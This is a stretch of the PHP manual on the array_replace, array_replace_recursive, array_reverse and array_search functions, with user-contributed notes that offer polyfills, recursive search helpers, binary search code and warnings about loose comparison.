  • array_merge_recursive() - Merge two or more arrays recursively

User Contributed Notes

msahagian at dotink dot org 13-Jul-2012 08:33
This is a fairly concise version which does not rely on traditional recursion:

<?php
    function array_replace_recursive($base, $replacements)
    {
        foreach (array_slice(func_get_args(), 1) as $replacements) {
            $bref_stack = array(&$base);
            $head_stack = array($replacements);

            do {
                end($bref_stack);

                $bref = &$bref_stack[key($bref_stack)];
                $head = array_pop($head_stack);

                unset($bref_stack[key($bref_stack)]);

                foreach (array_keys($head) as $key) {
                    if (isset($key, $bref) && is_array($bref[$key]) && is_array($head[$key])) {
                        $bref_stack[] = &$bref[$key];
                        $head_stack[] = $head[$key];
                    } else {
                        $bref[$key] = $head[$key];
                    }
                }
            } while(count($head_stack));
        }

        return $base;
    }
?>
Gregor at der-meyer dot de 30-Jul-2009 03:13
Nice that this function finally found its was to the PHP core! If you want to use it also with older PHP versions before 5.3.0, you can define it this way:

<?php
if (!function_exists('array_replace_recursive'))
{
  function array_replace_recursive($array, $array1)
  {
    function recurse($array, $array1)
    {
      foreach ($array1 as $key => $value)
      {
        // create new key in $array, if it is empty or not an array
        if (!isset($array[$key]) || (isset($array[$key]) && !is_array($array[$key])))
        {
          $array[$key] = array();
        }

        // overwrite the value in the base array
        if (is_array($value))
        {
          $value = recurse($array[$key], $value);
        }
        $array[$key] = $value;
      }
      return $array;
    }

    // handle the arguments, merge one by one
    $args = func_get_args();
    $array = $args[0];
    if (!is_array($array))
    {
      return $array;
    }
    for ($i = 1; $i < count($args); $i++)
    {
      if (is_array($args[$i]))
      {
        $array = recurse($array, $args[$i]);
      }
    }
    return $array;
  }
}
?>

I called this function array_merge_recursive_overwrite() in my older projects, but array_replace_recursive() sounds quite better while they do the same.

If you implemented such a compatible function before and don't want to refactor all your code, you can update it with the following snippet to use the native (and hopefully faster) implementation of PHP 5.3.0, if available. Just start your function with these lines:

<?php
  // as of PHP 5.3.0 array_replace_recursive() does the work for us
  if (function_exists('array_replace_recursive'))
  {
    return call_user_func_array('array_replace_recursive', func_get_args());
  }
?>
kyle [dot] florence [@t] gmail [dot] com 15-Jul-2009 01:16
This might help out people who don't have 5.3 running:

<?php

// Joins two or more arrays together recursively; key/value pairs of the first
// array are replaced with key/value pairs from the subsequent arrays.  Any
// key/value pair not present in the first array is added to the final array
function array_join()
{
    // Get array arguments
    $arrays = func_get_args();

    // Define the original array
    $original = array_shift($arrays);

    // Loop through arrays
    foreach ($arrays as $array)
    {
        // Loop through array key/value pairs
        foreach ($array as $key => $value)
        {
            // Value is an array
            if (is_array($value))
            {
                // Traverse the array; replace or add result to original array
                $original[$key] = array_join($original[$key], $array[$key]);
            }

            // Value is not an array
            else
            {
                // Replace or add current value to original array
                $original[$key] = $value;
            }
        }
    }

    // Return the joined array
    return $original;
}

?>


Replaces elements from passed arrays into the first array

  • « array_replace_recursive
  • array_reverse »
  • PHP Manual
  • Array Functions
  • Replaces elements from passed arrays into the first array

array_replace

(PHP 5 >= 5.3.0)

array_replace — Replaces elements from passed arrays into the first array

Description

array array_replace ( array $array1 , array $array2 [, array $... ] )

array_replace() replaces the values of array1 with values having the same keys in each of the following arrays. If a key from the first array exists in the second array, its value will be replaced by the value from the second array. If the key exists in the second array, and not the first, it will be created in the first array. If a key only exists in the first array, it will be left as is. If several arrays are passed for replacement, they will be processed in order, the later arrays overwriting the previous values.

array_replace() is not recursive : it will replace values in the first array by whatever type is in the second array.

Parameters

array1

The array in which elements are replaced.

array2

The array from which elements will be extracted.

...

More arrays from which elements will be extracted. Values from later arrays overwrite the previous values.

Return Values

Returns an array, or NULL if an error occurs.

Examples

Example #1 array_replace() example

<?php
$base = array("orange", "banana", "apple", "raspberry");
$replacements = array(0 => "pineapple", 4 => "cherry");
$replacements2 = array(0 => "grape");

$basket = array_replace($base, $replacements, $replacements2);
print_r($basket);
?>

The above example will output:

Array
(
    [0] => grape
    [1] => banana
    [2] => apple
    [3] => raspberry
    [4] => cherry
)

See Also

  • array_replace_recursive() - Replaces elements from passed arrays into the first array recursively
  • array_merge() - Merge one or more arrays

User Contributed Notes

lm713 15-Oct-2014 10:40
If the arrays are associative (that is, their keys are strings), then I believe this function is identical to (the older) array_merge.
kyberprizrak 15-Jun-2014 10:08
if(!function_exists('array_replace'))
{
  function array_replace()
  {
    $args = func_get_args();
    $num_args = func_num_args();
    $res = array();
    for($i=0; $i<$num_args; $i++)
    {
      if(is_array($args[$i]))
      {
        foreach($args[$i] as $key => $val)
        {
          $res[$key] = $val;
        }
      }
      else
      {
        trigger_error(__FUNCTION__ .'(): Argument #'.($i+1).' is not an array', E_USER_WARNING);
        return NULL;
      }
    }
    return $res;
  }
}
marvin_elia at web dot de 18-Mar-2014 08:45
Simple function to replace array keys. Note you have to manually select wether existing keys will be overrided.

/**
  * @param array $array
  * @param array $replacements
  * @param boolean $override
  * @return array
  */
function array_replace_keys(array $array, array $replacements, $override = false) {
    foreach ($replacements as $old => $new) {
        if(is_int($new) || is_string($new)){
            if(array_key_exists($old, $array)){
                if(array_key_exists($new, $array) && $override === false){
                    continue;
                }
                $array[$new] = $array[$old];
                unset($array[$old]);
            }
        }
    }
    return $array;
}
gmastro77 at gmail dot com 11-Apr-2013 02:05
In some cases you might have a structured array from the database and one
of its nodes goes like this;

<?php
# a random node structure
$arr    = array(
    'name'  => 'some name',
    'key2'  => 'value2',
    'title' => 'some title',
    'key4'  => 4,
    'json'  => '[1,0,1,1,0]'
);

# capture these keys values into given order
$keys   = array( 'name', 'json', 'title' );
?>

Now consider that you want to capture $arr values from $keys.
Assuming that you have a limitation to display the content into given keys
order, i.e. use it with a vsprintf, you could use the following

<?php
# string to transform
$string = "<p>name: %s, json: %s, title: %s</p>";

# flip keys once, we will use this twice
$keys   = array_flip( $keys );

# get values from $arr
$test   = array_intersect_key( $arr, $keys );

# still not good enough
echo vsprintf( $string, $test );
// output --> name: some name, json: some title, title: [1,0,1,1,0]

# usage of array_replace to get exact order and save the day
$test   = array_replace( $keys, $test );

# exact output
echo vsprintf( $string, $test );
// output --> name: some name, json: [1,0,1,1,0], title: some title

?>

I hope that this will save someone's time.
steelpandrummer 14-Aug-2012 06:19
<?php
// we wanted the output of only selected array_keys from a big array from a csv-table
// with different order of keys, with optional suppressing of empty or unused values

$values = array
(
    'Article'=>'24497',
    'Type'=>'LED',
    'Socket'=>'E27',
    'Dimmable'=>'',
    'Wattage'=>'10W'
);

$keys = array_fill_keys(array('Article','Wattage','Dimmable','Type','Foobar'), ''); // wanted array with empty value

$allkeys = array_replace($keys, array_intersect_key($values, $keys));    // replace only the wanted keys

$notempty = array_filter($allkeys, 'strlen'); // strlen used as the callback-function with 0==false

print '<pre>';
print_r($allkeys);
print_r($notempty);

/*
Array
(
    [Article] => 24497
    [Wattage] => 10W
    [Dimmable] =>
    [Type] => LED
    [Foobar] =>
)
Array
(
    [Article] => 24497
    [Wattage] => 10W
    [Type] => LED
)
*/
?>
sun at drupal dot org 27-May-2011 08:42
Instead of calling this function, it's often faster and simpler to do this instead:

<?php
$array_replaced = $array2 + $array1;
?>

If you need references to stay intact:

<?php
$array2 += $array1;
?>
polecat at p0lecat dot com 29-Nov-2010 07:02
I got hit with a noob mistake. :)

When the function was called more than once, it threw a function redeclare error of course.  The enviroment I was coding in never called it more than once but I caught it in testing and here is the fully working revision.  A simple logical step was all that was needed.

With PHP 5.3 still unstable for Debian Lenny at this time and not knowing if array_replace would work with multi-dimensional arrays, I wrote my own.  Since this site has helped me so much, I felt the need to return the favor. :)

<?php
        // Polecat's Multi-dimensional array_replace function
        // Will take all data in second array and apply to first array leaving any non-corresponding values untouched and intact
        function polecat_array_replace( array &$array1, array &$array2 ) {
            // This sub function is the iterator that will loop back on itself ad infinitum till it runs out of array dimensions
            if(!function_exists('tier_parse')){
                function tier_parse(array &$t_array1, array&$t_array2) {
                    foreach ($t_array2 as $k2 => $v2) {
                        if (is_array($t_array2[$k2])) {
                            tier_parse($t_array1[$k2], $t_array2[$k2]);
                        } else {
                            $t_array1[$k2] = $t_array2[$k2];
                        }
                    }
                    return $t_array1;
                }
            }

            foreach ($array2 as $key => $val) {
                if (is_array($array2[$key])) {
                    tier_parse($array1[$key], $array2[$key]);
                } else {
                    $array1[$key] = $array2[$key];
                }
            }
            return $array1;
        }
?>

[I would also like to note] that if you want to add a single dimensional array to a multi, all you must do is pass the matching internal array key from the multi as the initial argument as such:

<?php
$array1 = array( "berries" => array( "strawberry" => array( "color" => "red", "food" => "desserts"), "dewberry" = array( "color" => "dark violet", "food" => "pies"), );

$array2 = array( "food" => "wine");

$array1["berries"]["dewberry"] = polecat_array_replace($array1["berries"]["dewberry"], $array2);
?>

This is will replace the value for "food" for "dewberry" with "wine".

The function will also do the reverse and add a multi to a single dimensional array or even a 2 tier array to a 5 tier as long as the heirarchy tree is identical.

I hope this helps atleast one person for all that I've gained from this site.
polecat at p0lecat dot com 29-Nov-2010 06:57
I would like to add to my previous note about my polecat_array_replace function that if you want to add a single dimensional array to a multi, all you must do is pass the matching internal array key from the multi as the initial argument as such:

$array1 = array( "berries" => array( "strawberry" => array( "color" => "red", "food" => "desserts"), "dewberry" = array( "color" => "dark violet", "food" => "pies"), );

$array2 = array( "food" => "wine");

$array1["berries"]["dewberry"] = polecat_array_replace($array1["berries"]["dewberry"], $array2);

This is will replace the value for "food" for "dewberry" with "wine".

The function will also do the reverse and add a multi to a single dimensional array or even a 2 tier array to a 5 tier as long as the heirarchy tree is identical.

I hope this helps atleast one person for all that I've gained from this site.
mail at romansklenar dot cz 11-Dec-2009 04:01
To get exactly same result like in PHP 5.3, the foreach loop in your code should look like:

<?php
...
$count = func_num_args();

for ($i = 1; $i < $count; $i++) {
   ...
}
...
?>

Check on this code:

<?php
$base = array('id' => NULL, 'login' => NULL, 'credit' => NULL);
$arr1 = array('id' => 2, 'login' => NULL, 'credit' => 5);
$arr2 = array('id' => NULL, 'login' => 'john.doe', 'credit' => 100);
$result = array_replace($base, $arr1, $arr2);

/*
correct output:

array(3) {
   "id" => NULL
   "login" => string(8) "john.doe"
   "credit" => int(100)
}

your output:

array(3) {
   "id" => int(2)
   "login" => NULL
   "credit" => int(5)
}
*/
?>

Function array_replace "replaces elements from passed arrays into the first array" -- this means replace from top-right to first, then from top-right - 1 to first, etc, etc...
tufan dot oezduman at googlemail dot com 06-Nov-2009 01:19
a little enhancement to dyer85 at gmail dot com's function below:
<?php
if (!function_exists('array_replace'))
{
  function array_replace( array &$array, array &$array1, $filterEmpty=false )
  {
    $args = func_get_args();
    $count = func_num_args()-1;

    for ($i = 0; $i < $count; ++$i) {
      if (is_array($args[$i])) {
        foreach ($args[$i] as $key => $val) {
            if ($filterEmpty && empty($val)) continue;
            $array[$key] = $val;
        }
      }
      else {
        trigger_error(
          __FUNCTION__ . '(): Argument #' . ($i+1) . ' is not an array',
          E_USER_WARNING
        );
        return NULL;
      }
    }

    return $array;
  }
}
?>

this will allow you to "tetris-like" merge arrays:

<?php

$a= array(
    0 => "foo",
    1 => "",
    2 => "baz"
);
$b= array(
    0 => "",
    1 => "bar",
    2 => ""
);

print_r(array_replace($a,$b, true));

?>
results in:
Array
(
    [0] => foo
    [1] => bar
    [2] => baz
)


Return an array with elements in reverse order

  • « array_replace
  • array_search »
  • PHP Manual
  • Array Functions
  • Return an array with elements in reverse order

array_reverse

(PHP 4, PHP 5)

array_reverse — Return an array with elements in reverse order

Description

array array_reverse ( array $array [, bool $preserve_keys = false ] )

Takes an input array and returns a new array with the order of the elements reversed.

Parameters

array

The input array.

preserve_keys

If set to TRUE numeric keys are preserved. Non-numeric keys are not affected by this setting and will always be preserved.

Return Values

Returns the reversed array.

Examples

Example #1 array_reverse() example

<?php
$input  = array("php", 4.0, array("green", "red"));
$reversed = array_reverse($input);
$preserved = array_reverse($input, true);

print_r($input);
print_r($reversed);
print_r($preserved);
?>

The above example will output:

Array
(
    [0] => php
    [1] => 4
    [2] => Array
        (
            [0] => green
            [1] => red
        )

)
Array
(
    [0] => Array
        (
            [0] => green
            [1] => red
        )

    [1] => 4
    [2] => php
)
Array
(
    [2] => Array
        (
            [0] => green
            [1] => red
        )

    [1] => 4
    [0] => php
)

See Also

  • array_flip() - Exchanges all keys with their associated values in an array

User Contributed Notes

atulmvAThotmailDOTcoDOTuk 29-Aug-2012 08:48
Here are a couple of routines to swap the order of two elements in an array

<?php

function array_swap_forward($arr,$elem)
{
$ndx = array_search($elem,$arr) - 1;
$b4 = array_slice($arr,0,$ndx);
$mid = array_reverse(array_slice($arr,$ndx,2));
$after = array_slice($arr,$ndx + 2);

return array_merge($b4,$mid,$after);
}

function array_swap_back($arr,$elem)
{
$ndx = array_search($elem,$arr);
$b4 = array_slice($arr,0,$ndx);
$mid = array_reverse(array_slice($arr,$ndx,2));
$after = array_slice($arr,$ndx + 2);

return array_merge($b4,$mid,$after);
}

$arr =array('a','b','c','d','e','f');
print_r(array_swap_forward($arr,'c'));
echo '<br>';
print_r(array_swap_back($arr,'c'));
?>
alfbennett at gmail dot com 06-Apr-2010 10:41
Needed to just reverse keys. Don't flog me if there is a better way. This was a simple solution.

<?php
function array_reverse_keys($ar){
    return array_reverse(array_reverse($ar,true),false);
}
?>
rahulavhad at yahoo dot com 30-Dec-2000 05:31
This code can help in recursive reversing of the array...

<?php
$arr1 = array(2,1,array(5,2,1,array(9,8,7)),5,0);
$arr1 = array_reverse($arr1);

function Reverse_Array($array)
{    $index = 0;
    foreach ($array as $subarray)
    {    if (is_array($subarray))
        {    $subarray = array_reverse($subarray);
            $arr = Reverse_Array($subarray);
            $array[$index] = $arr;
        }
        else {$array[$index] = $subarray;}
        $index++;
    }
    return $array;
}

$arr2 = Reverse_Array($arr1);
?>


Searches the array for a given value and returns the corresponding key if successful

  • « array_reverse
  • array_shift »
  • PHP Manual
  • Array Functions
  • Searches the array for a given value and returns the corresponding key if successful

array_search

(PHP 4 >= 4.0.5, PHP 5)

array_search — Searches the array for a given value and returns the corresponding key if successful

Description

mixed array_search ( mixed $needle , array $haystack [, bool $strict = false ] )

Searches haystack for needle.

Parameters

needle

The searched value.

Note:

If needle is a string, the comparison is done in a case-sensitive manner.

haystack

The array.

strict

If the third parameter strict is set to TRUE then the array_search() function will search for identical elements in the haystack. This means it will also check the types of the needle in the haystack, and objects must be the same instance.

Return Values

Returns the key for needle if it is found in the array, FALSE otherwise.

If needle is found in haystack more than once, the first matching key is returned. To return the keys for all matching values, use array_keys() with the optional search_value parameter instead.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Changelog

Version | Description
5.3.0 | As with all internal PHP functions as of 5.3.0, array_search() returns NULL if invalid parameters are passed to it.
4.2.0 | Prior to PHP 4.2.0, array_search() returns NULL on failure instead of FALSE.

Examples

Example #1 array_search() example

<?php
$array = array(0 => 'blue', 1 => 'red', 2 => 'green', 3 => 'red');

$key = array_search('green', $array); // $key = 2;
$key = array_search('red', $array);   // $key = 1;
?>

See Also

  • array_keys() - Return all the keys or a subset of the keys of an array
  • array_values() - Return all the values of an array
  • array_key_exists() - Checks if the given key or index exists in the array
  • in_array() - Checks if a value exists in an array

User Contributed Notes

podarokua at gmail dot com 17-Oct-2014 01:45
Here is a method for getting all keys, containing searched value, recursively

  /**
   * Recursive array search.
   *
   * See http://php.net/manual/en/function.array-search.php#91365
   *
   * @param $needle
   *   The searched value.
   * @param $haystack
   *   The array.
   *
   * @return bool|int|string
   *   Array of keys, containing values or FALSE if not found.
   */
  private function ras($needle, $haystack) {
    $keys = array();
    foreach ($haystack as $key => $value) {
      if ($needle === $value OR (is_array($value) && $this->ras(
            $needle,
            $value
          ) !== FALSE)
      ) {
        $keys[] = $key;
      }
    }
    if (!empty($keys)) {
      return $keys;
    }

    return FALSE;
  }
marvin dot petker at borntocreate dot de 06-Sep-2014 01:08
Be aware of using array_search() in conditional statements.

$foo = array("one", "two");
if( $key = array_search("one", $foo) ){
  echo "Found";
}
else{
  echo "Not found";
}
//Ouput: Not found

"Not found" will be outputted beacause the returned key is 0 and that will be interpreted as false in conditional statements.
dk at danilok dot com 22-Aug-2014 03:26
I needed a way to return the value of a single specific key, thus:

<?php

function recursive_return_array_value_by_key($needle, $haystack){
    $return = false;
    foreach($haystack as $key => $val){
        if(is_array($val)){
            $return = recursive_return_array_value_by_key($needle, $val);
        }
        else if($needle === $key){
            return "$val\n";
        }
    }
    return $return;
}

?>
rAthur 02-Apr-2014 05:36
If you're not running an older version of PHP (many servers are still on PHP 5.3), you can replace the function by this :

<?php

function s($needle,$array)
{
    foreach($array as $key => $value)
        if ($value==$needle)
        return $key;
    return false;
}

echo s( 'c', array('a', 'b', 'c', 'd') ); // returns 2
echo s( 'f', array('a', 'b', 'c', 'd') ); // returns false

?>
rAthur 02-Apr-2014 05:35
If you're not running an older version of PHP (many servers are still on PHP 5.3), you can replace the function by this :

<?php

function s($needle,$array)
{
    foreach($array as $key => $value)
        if ($value==$needle)
        return $key;
    return false;
}

echo s( 'c', array('a', 'b', 'c', 'd') ); // returns 2
echo s( 'f', array('a', 'b', 'c', 'd') ); // returns false

?>
rAthur 02-Apr-2014 05:35
If you're not running an older version of PHP (many servers are still on PHP 5.3), you can replace the function by this :

<?php

function s($needle,$array)
{
    foreach($array as $key => $value)
        if ($value==$needle)
        return $key;
    return false;
}

echo s( 'c', array('a', 'b', 'c', 'd') ); // returns 2
echo s( 'f', array('a', 'b', 'c', 'd') ); // returns false

?>
sunelbe at gmail dot com 21-Sep-2012 09:19
hey i have a easy multidimensional array search function

<?php
function search($array, $key, $value)
{
    $results = array();

    if (is_array($array))
    {
        if (isset($array[$key]) && $array[$key] == $value)
            $results[] = $array;

        foreach ($array as $subarray)
            $results = array_merge($results, search($subarray, $key, $value));
    }

    return $results;
}
?>
sneskid at hotmail dot com 16-Mar-2012 05:50
I had an array of arrays and needed to find the key of an element by comparing actual reference.
Beware that even with strict equality (===) php will equate arrays via their elements recursively, not by a simple internal pointer check as with class objects. The === can be slow for massive arrays and also crash if they contain circular references.

This function performs reference sniffing in order to return the key for an element that is exactly a reference of needle.

<?php
function array_ref_search(&$v, array &$s)
{
    if(is_object($v)){ return array_search($v, $s, true); }
    foreach($s as $rK => &$rV)
    { // reference sniff
        $tV = $v;
        if( ($rV === ($v = 1)) && ($rV === ($v = 0)) ){
        $v = $tV; return $rK; }
        $v = $tV;
    }
    return false; // use null for php < 4.2.0
}

$list   = array();
$list['A'] = &$valA; $list['B'] = &$valB;

$valA = 1; $valB = 1;
echo 'array_ref_search: ', array_ref_search($valB, $list), '</br>'; // key 'B'
echo 'array_search:     ', array_search($valB, $list, true), '</br>'; // key 'A'

$valA = array(1,2,3); $valB = array(1,2,3);
echo 'array_ref_search: ', array_ref_search($valB, $list), '</br>'; // key 'B'
echo 'array_search:     ', array_search($valB, $list, true), '</br>'; // key 'A' because ($valA === $valB) is true by elements

$valB[] = &$valB; // circular reference
echo 'array_ref_search: ', array_ref_search($valB, $list), '</br>'; // key 'B'
echo 'array_search:     ', array_search($valB, $list, true), '</br>'; // crash because ($valB === $valB) causes infinite loop
?>
revoke 11-Oct-2011 01:12
Better solution of multidimensional searching.

<?php
function multidimensional_search($parents, $searched) {
  if (empty($searched) || empty($parents)) {
    return false;
  }

  foreach ($parents as $key => $value) {
    $exists = true;
    foreach ($searched as $skey => $svalue) {
      $exists = ($exists && IsSet($parents[$key][$skey]) && $parents[$key][$skey] == $svalue);
    }
    if($exists){ return $key; }
  }

  return false;
}

$parents = array();
$parents[] = array('date'=>1320883200, 'uid'=>3);
$parents[] = array('date'=>1320883200, 'uid'=>5);
$parents[] = array('date'=>1318204800, 'uid'=>5);

echo multidimensional_search($parents, array('date'=>1320883200, 'uid'=>5)); // 1
?>
stooshie at gmail dot com 06-Oct-2011 11:51
Example of a recursive binary search that returns the index rather than boolean.
<?php
// returns the index of needle in haystack
function binSearch($needle, $haystack)
{
    // n is only needed if counting depth of search
    global $n;
    $n++;
    // get the length of passed array
    $l = count($haystack);
    // if length is 0, problem
    if($l <= 0)
    {
        return -1;
    }
    // get the mid element
    $m = (($l+($l%2))/2);
    // if mid >= length (e.g. l=1)
    if($m >= $l)
    {
        $m = $m-1;
    }
    // get the indexed element to compare to the passed element and branch accordingly
    $compare = $haystack[$m];
    switch(true)
    {
        case($compare>$needle):
        {
            // recurse on the lower half
            $new_haystack = array_slice($haystack, 0, $m);
            $c = count($new_haystack);
            $r = binSearch($needle, $new_haystack);
            // return current index - (length of lower half - found index in lower half)
            return $m - ($c - $r);
            break;
        }
        case($compare<$needle):
        {
            // recurse on the upper half
            $new_haystack = array_slice($haystack, $m, ($l-$m));
            $c = count($new_haystack);
            $r = binSearch($needle, $new_haystack);
            // return current position + found index in upper half
            return $m + $r;
            break;
        }
        case($compare==$needle):
        {
            // found it, so return index
            return $m;
            break;
        }
    }
}
?>
Dave C 27-Sep-2011 10:18
Here is a version of binary search that is done via recursion instead of iteration.  Remember that your data needs to be presorted!

<?php
static function Bin_Search(&$needle, &$haystack, $start, $end) {
        if($end < $start)
        {
            return false;
        }

        $mid = (int)(($end - $start) / 2) + $start;

        if($haystack[$mid] > $needle)
        {
            return Bin_Search($needle, $haystack, $start, $mid - 1);
        }
        else if($haystack[$mid] < $needle)
        {
            return Bin_Search($needle, $haystack, $mid + 1, $end);
        }
        else
        {
            return true;
        }
}
?>
stefano@takys dot it 14-Jan-2011 10:58
for searching case insensitive better this:

<?php
array_search(strtolower($element),array_map('strtolower',$array));
?>
robert at robert-gonzalez dot com 22-Sep-2010 09:15
I needed a way to find the parent hierarchy of a multidimensional array. Being the rogue that I am, I got to coding before searching the manual and came up with two little functions that will return a parent stack for a first find and a complete parent stack, similar in nature to the solution presented by jette at nerdgirl dot dk without all the extra stuff or use of eval(). ;)

<?php
/**
 * Gets the parent stack of a string array element if it is found within the
 * parent array
 *
 * This will not search objects within an array, though I suspect you could
 * tweak it easily enough to do that
 *
 * @param string $child The string array element to search for
 * @param array $stack The stack to search within for the child
 * @return array An array containing the parent stack for the child if found,
 *               false otherwise
 */
function getParentStack($child, $stack) {
    foreach ($stack as $k => $v) {
        if (is_array($v)) {
            // If the current element of the array is an array, recurse it and capture the return
            $return = getParentStack($child, $v);

            // If the return is an array, stack it and return it
            if (is_array($return)) {
                return array($k => $return);
            }
        } else {
            // Since we are not on an array, compare directly
            if ($v == $child) {
                // And if we match, stack it and return it
                return array($k => $child);
            }
        }
    }

    // Return false since there was nothing found
    return false;
}

/**
 * Gets the complete parent stack of a string array element if it is found
 * within the parent array
 *
 * This will not search objects within an array, though I suspect you could
 * tweak it easily enough to do that
 *
 * @param string $child The string array element to search for
 * @param array $stack The stack to search within for the child
 * @return array An array containing the parent stack for the child if found,
 *               false otherwise
 */
function getParentStackComplete($child, $stack) {
    $return = array();
    foreach ($stack as $k => $v) {
        if (is_array($v)) {
            // If the current element of the array is an array, recurse it
            // and capture the return stack
            $stack = getParentStackComplete($child, $v);

            // If the return stack is an array, add it to the return
            if (is_array($stack) && !empty($stack)) {
                $return[$k] = $stack;
            }
        } else {
            // Since we are not on an array, compare directly
            if ($v == $child) {
                // And if we match, stack it and return it
                $return[$k] = $child;
            }
        }
    }

    // Return the stack
    return empty($return) ? false: $return;
}

// TESTING
$array = array(
    'balloon' => array(
        'red' => array(1 => 'Love', 'Valentine', 'Heart',),
        'green' => array(1 => 'Summertime', 'Hope',),
    ),
    'ribbon' => array(
        'yellow' => array(2 => 'Welcome',),
        'red' => array(3 => 'Love', 'Love',),
    ),
);

$s = getParentStack('Love', $array);
$c = getParentStackComplete('Love', $array);
var_dump($s, $c);
?>

Output:

array
  'balloon' =>
    array
      'red' =>
        array
          1 => string 'Love' (length=4)

array
  'balloon' =>
    array
      'red' =>
        array
          1 => string 'Love' (length=4)
  'ribbon' =>
    array
      'red' =>
        array
          3 => string 'Love' (length=4)
          4 => string 'Love' (length=4)
hanan dot ali dot shaikh at googlemail dot com 17-Sep-2010 10:14
In this code I write a code to find next and previous element of an array using current element of that array. Let suppose if we are in element 9 and have to access its next and previous element then this code be helpful for someone.

<?php
$myArray = array(4,5,7,9,10,11,13,19,25);

$currentElement = 9;
$firstElement = current($myArray);
$lastElement = $myArray[sizeof($myArray)-1];

$currentKey = array_search($currentElement, $myArray);
$currentValue = $myArray[$currentKey];

$previousValue = "";
$nextValue = "";
if($currentElement!=$lastElement){
    $nextKey = $currentKey + 1;
    $nextValue = $myArray[$nextKey];
}

if($currentElement!=$firstElement){
    $previousKey = $currentKey - 1;
    $previousValue = $myArray[$previousKey];
}

echo $previousValue."--".$currentValue."--".$nextValue;

?>

Thanks,
Hanan Ali
codeslinger at compsalot dot com 02-Oct-2009 09:22
one thing to be very aware of is that array_search() will fail if the needle is a string and the array itself contains values that are mixture of numbers and strings.  (or even a string that looks like a number)

The problem is that unless you specify "strict" the match is done using ==    and in that case any string will match a numeric value of zero which is not what you want.

-----

also, php can lookup an index pretty darn fast.  for many scenarios, it is practical to maintain multiple arrays, one in which the index of the array is the search key and the normal array that contains the data.

<?php

  $normal[$index] = array('key'=>$key, 'data'=>'foo');
  $inverse[$key] = $index;

  //very fast lookup, this beats any other kind of search

  if (array_key_exists($key, $inverse))
  {
    $index = $inverse[$key];
    return $normal[$index];
  }

?>
temporal dot pl at gmail dot com 05-Sep-2009 12:57
Sometimes you need to find a given value in a sorted array or - if not found - detect the place where it should be. After that you can for example split the array into two halves, the  greater and the smaller one.

greenmr, dennis.decoene and php at celerondude had all posted very good binary search functions but these functions all return false if the needle was not found in the haystack. I've tweaked greenmr's code a little:

<?php
function Array_BinarySearch( $needle, $haystack, $comparator , &$probe )
{
    $high = Count( $haystack ) -1;
    $low = 0;

    while ( $high >= $low )
    {
        $probe = Floor( ( $high + $low ) / 2 );
        $comparison = $comparator( $haystack[$probe], $needle );
        if ( $comparison < 0 )
        {
            $low = $probe +1;
        }
        elseif ( $comparison > 0 )
        {
            $high = $probe -1;
        }
        else
        {
            return true;
        }
    }
    //The loop ended without a match
    //Compensate for needle greater than highest haystack element
    if($comparator($haystack[count($haystack)-1], $needle) < 0)
    {
        $probe = count($haystack);
    }
    return false;
}
?>

Now, the function returns true if it finds something and false otherwise. If a needle was found, then $probe will contain it's position. Otherwise, $probe will contain position of where the needle would be if it were there :). This is possible because we pass $probe by reference.

Example:

<?php
//ultra-simple comparator :)
function CompareNumbers($obj, $needle)
{
    return $obj - $needle;
}

//use examples
$testArr = array(10, 20, 30, 40, 50);
$res = Array_BinarySearch(30, $testArr, 'CompareNumbers', $probe);
echo (int)$res.' '.$probe.'<br />';
//output is: 1 2 - found at position 2

$res = Array_BinarySearch(45, $testArr, 'CompareNumbers', $probe);
echo (int)$res.' '.$probe.'<br />';
//output is: 0 4 - not found, but it would be at position 4 (between 40 and 45)

$res = Array_BinarySearch(-3, $testArr, 'CompareNumbers', $probe);
echo (int)$res.' '.$probe.'<br />';
//output is: 0 0 - not found, but it would be at position 0 (before 10)

$res = Array_BinarySearch(300, $testArr, 'CompareNumbers', $probe);
echo (int)$res.' '.$probe.'<br />';
//output is: 0 5 - not found, but it would be at position 5 (after 50; note, that count($haystack) == 5)
?>

See original greenmr's note for additional details about usage of this binary search: http://php.net/manual/en/function.array-search.php#89413
Nguyen KimKha 23-Aug-2009 07:18
You can remove some values from array, by using unset() and array_search().

<?php

$friends = array( 'Bob', 'Ann', 'Peter' ); // Two persons named 'Bob'
$find = 'Bob';
$key = array_search( $find, $friends ); // Find key of given value
if ($key != NULL || $key !== FALSE) {
    unset($friends[$key]); // remove key from array
}

// Now, $friends = array( 'Ann', 'Peter');

?>
buddel 08-Jun-2009 05:13
the recursive function by tony have a small bug. it failes when a key is 0

here is the corrected version of this helpful function:

<?php
function recursive_array_search($needle,$haystack) {
    foreach($haystack as $key=>$value) {
        $current_key=$key;
        if($needle===$value OR (is_array($value) && recursive_array_search($needle,$value) !== false)) {
            return $current_key;
        }
    }
    return false;
}
?>
tony dot peter at wanadoo dot fr 11-May-2009 09:53
A simple recursive array_search function :

<?php
function recursive_array_search($needle,$haystack) {
    foreach($haystack as $key=>$value) {
        $current_key=$key;
        if($needle===$value OR (is_array($value) && recursive_array_search($needle,$value))) {
            return $current_key;
        }
    }
    return false;
}
?>
n-regen 05-May-2009 07:36
If you only know a part of a value in an array and want to know the complete value, you can use the following function:
<?php
function array_find($needle, $haystack)
{
   foreach ($haystack as $item)
   {
      if (strpos($item, $needle) !== FALSE)
      {
         return $item;
         break;
      }
   }
}
?>
The function returns the complete first value of $haystack that contains $needle.
helenadeus at gmail dot com 25-Jan-2009 10:05
I was trying to use array_search to retrieve all the values that match a given needle, but it turns out only the first match key is returned. I built this little function, which works just like array_search, but returns all the keys that match a given needle instead. The output is an array.

<?php

$haystack = array('a','b','a','b');

$needle = 'a';

print_r(array_search_all($needle, $haystack));

//Output will be
// Array
// (
//         [0]=>1
//         [1]=>3
// )

function array_search_all($needle, $haystack)
{#array_search_match($needle, $haystack) returns all the keys of the values that match $needle in $haystack

    foreach ($haystack as $k=>$v) {

        if($haystack[$k]==$needle){

           $array[] = $k;
        }
    }
    return ($array);

}

?>
azaozz, gmail 21-Dec-2008 02:23
Expanding on the comment by hansen{}cointel.de:

When searching for a string and the array contains 0 (zero), the string is casted to (int) by the type-casting which is always 0 (perhaps the opposite is the proper behaviour, the array value 0 should have been casted to string). That produces unexpected results if strict comparison is not used:

<?php
$a = array(0, "str1", "str2", "str3");
echo "
str1 = ".array_search("str1", $a).",
str2 = ".array_search("str2", $a).",
str3 = ".array_search("str3", $a).",

str1 strict = ".array_search("str1", $a, true).",
str2 strict = ".array_search("str2", $a, true).",
str3 strict = ".array_search("str3", $a, true);
?>

This will return:
